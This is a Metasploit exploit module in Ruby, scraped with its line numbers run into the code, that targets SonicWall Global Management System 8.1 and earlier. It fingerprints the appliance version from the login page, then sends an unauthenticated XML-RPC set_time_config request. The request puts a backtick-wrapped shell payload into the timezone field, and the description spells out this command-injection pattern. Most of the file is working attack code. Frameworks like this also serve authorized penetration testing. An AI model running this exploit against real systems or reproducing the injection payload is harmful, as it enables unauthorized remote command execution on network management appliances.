Path: blob/master/modules/exploits/unix/sonicwall/sonicwall_xmlrpc_rce.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89include Msf::Exploit::Remote::HttpClient1011def initialize(info = {})12super(13update_info(14info,15'Name' => "SonicWall Global Management System XMLRPC set_time_zone Unauth RCE",16'Description' => %q{17This module exploits a vulnerability in SonicWall Global18Management System Virtual Appliance versions 8.1 (Build 8110.1197)19and below. This virtual appliance can be downloaded from20http://www.sonicwall.com/products/sonicwall-gms/ and is used 'in a21holistic way to manage your entire network security environment.'2223These vulnerable versions (8.1 Build 8110.1197 and below) do not24prevent unauthenticated, external entities from making XML-RPC25requests to port 21009 of the virtual app. After the XML-RPC call26is made, a shell script is called like so:27'timeSetup.sh --tz="`command injection here`"' --usentp="blah"'.28},29'License' => MSF_LICENSE,30'Author' => [31'Michael Flanders', # MSF Module32'kernelsmith' # Advisor33],34'References' => [35['URL', 'https://www.digitaldefense.com/digital-defense/vrt-discoveries/'],36['URL', 'https://slides.com/kernelsmith/bsidesaustin2018/#/']37],38'Platform' => [ 'unix' ],39'Arch' => ARCH_CMD,40'Targets' => [41[ 'SonicWall Global Management System Virtual Appliance', {} ],42],43'Payload' => {44# Can't use ampersand, Java's XML-RPC parser will complain and return an error45'BadChars' => "\x26",46'Compat' => {47'PayloadType' => 'cmd',48'RequiredCmd' => 'generic bash telnet'49}50},51'DisclosureDate' => '2016-07-22',52'DefaultTarget' => 0,53'Notes' => {54'Reliability' => UNKNOWN_RELIABILITY,55'Stability' => UNKNOWN_STABILITY,56'SideEffects' => UNKNOWN_SIDE_EFFECTS57}58)59)6061register_options(62[63OptString.new('WEB_SERVER_PORT', [64false, 'Port of web console login page.65Defaults to 80/443 depending on SSL.'66])67]68)69end7071def check72if datastore['WEB_SERVER_PORT']73port_number = datastore['WEB_SERVER_PORT']74else75port_number = datastore['SSL'] ? '443' : '80'76end7778handler = datastore['SSL'] ? 'https' : 'http'7980res = request_url("#{handler}://#{rhost}:#{port_number}")8182unless res83vprint_error 'Connection failed'84return CheckCode::Unknown85end8687unless res.code == 200 && res.body =~ /<TITLE>.+v(\d\.\d)/88return CheckCode::Safe89end9091version = Rex::Version.new $1.to_s9293unless version <= Rex::Version.new('8.1')94return CheckCode::Safe95end9697CheckCode::Appears98end99100def exploit101unless check == CheckCode::Appears102fail_with Failure::NotVulnerable, "The target is not vulnerable."103end104105print_status "The target appears to be vulnerable, continuing exploit..."106send_xml107end108109def send_xml110xml_body = <<~HERESTRING111<?xml version="1.0" encoding="UTF-8"?>112<methodCall>113<methodName>set_time_config</methodName>114<params>115<param>116<value>117<struct>118<member>119<name>timezone</name>120<value>121<string>"`#{payload.encoded}`"</string>122</value>123</member>124</struct>125</value>126</param>127</params>128</methodCall>129HERESTRING130131res = send_request_raw({132'method' => 'POST',133'uri' => '/',134'data' => xml_body,135'ctype' => 'text/xml; charset=UTF-8'136})137138unless res && res.body.include?("success")139print_error("Error sending XML to #{rhost}:#{rport}")140end141end142143end144145146